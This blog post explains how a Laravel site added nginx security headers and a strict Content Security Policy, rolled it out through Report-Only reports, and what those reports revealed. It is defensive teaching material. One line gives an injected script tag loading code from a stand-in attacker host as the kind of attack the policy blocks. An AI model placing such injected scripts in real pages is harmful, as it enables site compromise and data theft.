A Strict Content Security Policy on a Laravel Site, and the Two Things It Caught
This site shipped with no security headers at all. Adding most of them took about five minutes: stop browsers second-guessing content types, refuse to be framed, trim what goes out in the Referer, turn off the device APIs nothing here uses.
The Content Security Policy was not five minutes. It is the only one of these headers that can break your application, and the only one where the interesting part is what it tells you about code you thought you knew.
The cheap headers, and the nginx trap underneath them
Four headers, no downside, set once in the http context so there's nothing to edit in a certbot-managed vhost:
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=(), usb=()" always;
always matters: without it these are skipped on error responses, and a 404 or a 500 is exactly when you don't want sniffing or framing.
The referrer policy is the one people set and then regret. The default sends the full URL to any site you link out to. Our admin URLs contain inquiry IDs. strict-origin-when-cross-origin sends the full URL to ourselves and only the bare origin to anyone else.
Then the trap, which cost us an afternoon on a different config file and will cost you one too: nginx inherits add_header from an outer level only when the inner level declares no add_header of its own. One add_header inside your server block, or inside any location block in it, silently drops every header above. Not an error, not a warning — the headers just stop arriving. If you need to add one deeper in, re-declare the whole set there.
CSP is different because it can break things
The policy we run now is one line:
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; frame-src 'self' https://cal.com; object-src 'none'; report-uri /csp-report" always;
default-src 'self' is the part doing the work. An injected <script src="//evil.com/x.js"> doesn't load. Neither does an injected image, font, or fetch() pointed at somebody else's server, which is how stolen data usually leaves — the payload has to get home somehow, and every route home is a network request to another origin.
The catch is that a policy this tight will also block things your own application does, and you find out when a page goes white in production. So don't find out that way.
Ship it in two halves
CSP has a second header, Content-Security-Policy-Report-Only. Same syntax, blocks nothing, and the browser posts you a JSON report describing anything it would have blocked. Both headers can be sent at once, and browsers apply them independently.
That gives you a rollout instead of a gamble. We sent an enforced policy loose enough to be obviously safe, and the strict one alongside it in Report-Only, both pointing at the same report-uri. Then we used the site normally for two days — public pages, the admin, the forms — and read what came in.
Keep report-uri after you promote the policy. Enforced policies still report, with "disposition": "enforce", so anything you break later announces itself in a log file instead of as a silent white screen. And write down how to back out: renaming the header to Content-Security-Policy-Report-Only and reloading nginx takes about ten seconds, which is the sort of thing you want written down in the file, not remembered at 11pm.
Collecting the reports
The endpoint is small, but there are three things about it that aren't obvious.
Browsers disagree about the payload shape. The original spec posts {"csp-report": {...}} with a content type of application/csp-report. The newer Reporting API posts an array of {"type": "csp-violation", "body": {...}} as application/reports+json, and the keys inside are camelCase instead of hyphenated. Handle both or you'll silently collect half your reports:
if (isset($payload['csp-report']) && is_array($payload['csp-report'])) {
return [$payload['csp-report']];
}
if (array_is_list($payload)) {
return collect($payload)
->filter(fn ($report) => is_array($report) && is_array($report['body'] ?? null))
->map(fn ($report) => $report['body'])
->take(20)
->all();
}
It has to be exempt from CSRF. The browser sends these unauthenticated, with no session and no token, so in bootstrap/app.php:
$middleware->validateCsrfTokens(except: ['csp-report', 'e']);
Which makes it a public, unauthenticated write endpoint, so treat it like one: rate limit it, cap the size, truncate every string, and log it as data rather than interpolating it anywhere. Ours is limited to 30 requests a minute and writes to a dedicated csp log channel so the reports don't drown the application log.
Filter browser extension noise or the log is useless. Ad blockers, password managers and translation extensions inject scripts into your pages constantly, and every one of them generates violations that say nothing about your policy. Dropping anything whose blocked URI starts with chrome-extension, moz-extension, safari-extension or webkit-masked-url cleared most of the volume.
What two days of reports found
Two things, and neither was visible from reading the code.
Seven img-src violations, all blocking https://ui-avatars.com. Filament's default avatar provider builds a URL like https://ui-avatars.com/api/?name=D+S&..., so every dashboard load was sending the signed-in user's initials — along with the IP address, user agent and referring URL that any HTTP request carries — to a third party, from an authenticated page. It was the only external request the entire site made. Nobody had chosen it. It's the framework default and it arrived with the account widget.
We fixed it at the source instead of allowlisting the domain. A local avatar provider draws the initials as an SVG and returns it as a data: URI, which img-src 'self' data: already permits, so the policy didn't change and the site gained no dependency that can break or be sold:
return 'data:image/svg+xml;base64,'.base64_encode($svg);
Thirty-four script-src violations blocking eval, every one from an admin page and none from a public one. That's Alpine, which ships inside Livewire's bundle and evaluates x-* attribute expressions at runtime. There's no fixing that without forking Filament's template layer, so 'unsafe-eval' is in the policy.
What we granted, and what it costs
The policy carries 'unsafe-inline' for scripts and styles, and 'unsafe-eval' for scripts. Both are real weaknesses and it's better to say so than to present the header as a solved problem.
'unsafe-eval' is granted site-wide, not just under the admin path. We considered scoping it and decided against it: 'unsafe-inline' is required everywhere anyway — the pre-paint theme script, the JSON-LD blocks, Filament's inline styles — and anyone who can inject inline script has no use for eval. Scoping would have bought close to nothing while permanently tying the nginx config to a value that's deliberately configurable and certain to be changed one day by somebody who won't think to edit nginx.
Dropping 'unsafe-inline' is the upgrade that would actually matter, and it means per-request nonces, which means generating the header in PHP rather than in nginx. 'unsafe-eval' would still have to stay. It's a much bigger change than this one and we haven't done it.
What the policy buys as it stands is still substantial: an injected script cannot load code from another origin, and it cannot send anything to one. That second half is precisely the shape of the ui-avatars call the reports caught.
The one third-party exception
frame-src 'self' https://cal.com permits framing that host and nothing else — no script execution, no network access, no DOM access in either direction. Our booking modal frames a route that redirects to the calendar, and because the frame navigates twice, CSP checks both hops. Hence 'self' alongside the vendor.
Cal.com also offers an embed script, and we turned it down. Loading it would mean adding script-src https://app.cal.com — third-party JavaScript executing in our own origin, with the run of the page. This site loads none, including analytics, and one booking widget isn't the reason to start.
If you're doing this on your own Laravel application
Set the four cheap headers today; there's nothing to think about. Then send the strict CSP as Report-Only alongside them, point report-uri at an endpoint you've written, and use your own admin for a few days before enforcing anything. Read what arrives, fix what you can at the source, grant what you can't, and keep the reporting on afterwards.
The part we didn't expect was that the most useful output wasn't the enforcement at all. It was a list of things our own application does that we would have sworn it didn't.
We build and maintain Laravel applications, including the custom software and web application work this site is built out of. If you want a second pair of eyes on what your application is loading and where it's sending things, tell us what you're running.
Frequently asked questions
Will a Content Security Policy break my Laravel application?
It can, which is why you ship it in Report-Only first. In that mode the browser sends you a report about anything the policy would have blocked, but blocks nothing. After a few days of ordinary use — including the admin area, which is usually where the surprises are — the reports tell you what enforcement would actually cost.
Can I set a CSP without 'unsafe-inline'?
Only if nothing on your pages uses an inline script or style tag, which in practice means generating a per-request nonce in PHP and putting it on every inline block. That is a real project. A policy with 'unsafe-inline' is still worth having — it stops an injected script from loading code off another domain and stops data being sent to one.
Where should the header be set, in Laravel or in nginx?
Either works. nginx is simpler if the policy is static, because it applies to error pages and static files too. Move it into PHP middleware when you want per-request nonces, since only the application can generate those.